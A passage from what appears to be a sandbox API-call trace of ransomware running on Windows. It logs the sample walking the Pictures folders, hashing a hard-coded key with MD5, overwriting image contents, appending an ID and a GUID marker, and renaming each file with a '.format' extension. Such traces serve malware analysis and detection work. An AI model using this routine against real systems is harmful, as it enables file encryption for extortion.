lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.960] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.960] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.960] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.960] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.960] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.960] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.960] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.961] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.961] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.961] CloseHandle (hObject=0x5c8) returned 1 [0067.962] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31756e8 [0067.962] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x880) returned 0x3178dd8 [0067.962] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31756e8 | out: hHeap=0x5d0000) returned 1 [0067.962] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IGq6V3a\\bPu-.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\igq6v3a\\bpu-.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IGq6V3a\\bPu-.png.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\igq6v3a\\bpu-.png.format")) returned 1 [0067.963] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.963] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.964] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.964] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x434e0070, ftCreationTime.dwHighDateTime=0x1d4c5a8, ftLastAccessTime.dwLowDateTime=0x599e2e00, ftLastAccessTime.dwHighDateTime=0x1d4d2d6, ftLastWriteTime.dwLowDateTime=0x599e2e00, ftLastWriteTime.dwHighDateTime=0x1d4d2d6, nFileSizeHigh=0x0, nFileSizeLow=0x13cff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="j-PQ.jpg", cAlternateFileName="")) returned 1 [0067.964] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.964] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e) returned 0x313ab18 [0067.964] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.964] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IGq6V3a\\j-PQ.jpg") returned=".jpg" [0067.964] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IGq6V3a\\j-PQ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\igq6v3a\\j-pq.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.964] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=81151) returned 1 [0067.964] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.966] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x13cd9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.967] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.967] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.967] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.967] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.967] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x13cff, lpOverlapped=0x0) returned 1 [0067.968] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.968] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.968] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.968] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.968] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac018) returned 1 [0067.969] CryptCreateHash (in: hProv=0x6ac018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.969] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.969] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.969] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.969] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.969] GetLastError () returned 0x0 [0067.969] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.969] CryptReleaseContext (hProv=0x6ac018, dwFlags=0x0) returned 1 [0067.969] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.969] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x13d00) returned 0x32b2f40 [0067.969] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.969] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.969] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x13cfa, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x13cfa, lpOverlapped=0x0) returned 1 [0067.970] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.970] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x13cff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.970] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.970] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.970] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.970] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.970] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.970] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.970] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.970] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.970] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.970] CloseHandle (hObject=0x5c8) returned 1 [0067.971] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31756e8 [0067.971] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x880) returned 0x3178dd8 [0067.972] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31756e8 | out: hHeap=0x5d0000) returned 1 [0067.972] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IGq6V3a\\j-PQ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\igq6v3a\\j-pq.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IGq6V3a\\j-PQ.jpg.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\igq6v3a\\j-pq.jpg.format")) returned 1 [0067.974] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.974] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.975] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.975] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa246bcf0, ftCreationTime.dwHighDateTime=0x1d4c82f, ftLastAccessTime.dwLowDateTime=0xfad43140, ftLastAccessTime.dwHighDateTime=0x1d4d1d0, ftLastWriteTime.dwLowDateTime=0xfad43140, ftLastWriteTime.dwHighDateTime=0x1d4d1d0, nFileSizeHigh=0x0, nFileSizeLow=0xfb8b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="O1JQviCY05VrmDz2PZWI.png", cAlternateFileName="O1JQVI~1.PNG")) returned 1 [0067.975] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.975] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x313ab18 [0067.975] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.975] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IGq6V3a\\O1JQviCY05VrmDz2PZWI.png") returned=".png" [0067.975] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IGq6V3a\\O1JQviCY05VrmDz2PZWI.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\igq6v3a\\o1jqvicy05vrmdz2pzwi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.975] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=64395) returned 1 [0067.975] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.977] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xfb65, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.977] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.978] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.978] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.978] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xfb8b, lpOverlapped=0x0) returned 1 [0067.979] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.979] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.979] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.979] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac018) returned 1 [0067.979] CryptCreateHash (in: hProv=0x6ac018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.980] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.980] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.980] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.980] GetLastError () returned 0x0 [0067.980] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.980] CryptReleaseContext (hProv=0x6ac018, dwFlags=0x0) returned 1 [0067.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfb90) returned 0x32b2f40 [0067.980] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.980] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0xfb86, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0xfb86, lpOverlapped=0x0) returned 1 [0067.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.981] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xfb8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.981] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.981] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.981] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.981] CloseHandle (hObject=0x5c8) returned 1 [0067.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x30cd888 [0067.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8a0) returned 0x3178dd8 [0067.982] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x30cd888 | out: hHeap=0x5d0000) returned 1 [0067.982] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IGq6V3a\\O1JQviCY05VrmDz2PZWI.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\igq6v3a\\o1jqvicy05vrmdz2pzwi.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IGq6V3a\\O1JQviCY05VrmDz2PZWI.png.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\igq6v3a\\o1jqvicy05vrmdz2pzwi.png.format")) returned 1 [0067.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.983] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.984] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa246bcf0, ftCreationTime.dwHighDateTime=0x1d4c82f, ftLastAccessTime.dwLowDateTime=0xfad43140, ftLastAccessTime.dwHighDateTime=0x1d4d1d0, ftLastWriteTime.dwLowDateTime=0xfad43140, ftLastWriteTime.dwHighDateTime=0x1d4d1d0, nFileSizeHigh=0x0, nFileSizeLow=0xfb8b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="O1JQviCY05VrmDz2PZWI.png", cAlternateFileName="O1JQVI~1.PNG")) returned 0 [0067.984] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0067.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0067.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0067.984] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31756e8 [0067.984] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175760 [0067.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175760 | out: hHeap=0x5d0000) returned 1 [0067.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175760 [0067.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175760 | out: hHeap=0x5d0000) returned 1 [0067.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175760 [0067.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175760 | out: hHeap=0x5d0000) returned 1 [0067.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175760 [0067.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175760 | out: hHeap=0x5d0000) returned 1 [0067.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175760 [0067.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.984] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175760 | out: hHeap=0x5d0000) returned 1 [0067.984] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175760 [0067.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175760 | out: hHeap=0x5d0000) returned 1 [0067.985] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\") returned="LlZj-da3Lc0SAD\\" [0067.985] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0067.985] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.985] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.985] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.985] PathFindFileNameW (pszPath="") returned="" [0067.985] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77c64280, ftCreationTime.dwHighDateTime=0x1d4cdba, ftLastAccessTime.dwLowDateTime=0x41307b50, ftLastAccessTime.dwHighDateTime=0x1d4c950, ftLastWriteTime.dwLowDateTime=0x41307b50, ftLastWriteTime.dwHighDateTime=0x1d4c950, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0067.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175760 | out: hHeap=0x5d0000) returned 1 [0067.985] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77c64280, ftCreationTime.dwHighDateTime=0x1d4cdba, ftLastAccessTime.dwLowDateTime=0x41307b50, ftLastAccessTime.dwHighDateTime=0x1d4c950, ftLastWriteTime.dwLowDateTime=0x41307b50, ftLastWriteTime.dwHighDateTime=0x1d4c950, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.985] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5e45c70, ftCreationTime.dwHighDateTime=0x1d4cddc, ftLastAccessTime.dwLowDateTime=0x36b685b0, ftLastAccessTime.dwHighDateTime=0x1d4d56d, ftLastWriteTime.dwLowDateTime=0x36b685b0, ftLastWriteTime.dwHighDateTime=0x1d4d56d, nFileSizeHigh=0x0, nFileSizeLow=0xefe9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="COFUGhxhYso60.gif", cAlternateFileName="COFUGH~1.GIF")) returned 1 [0067.985] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\COFUGhxhYso60.gif") returned=".gif" [0067.985] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\COFUGhxhYso60.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\cofughxhyso60.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.985] GetFileSizeEx (in: hFile=0x5c8, 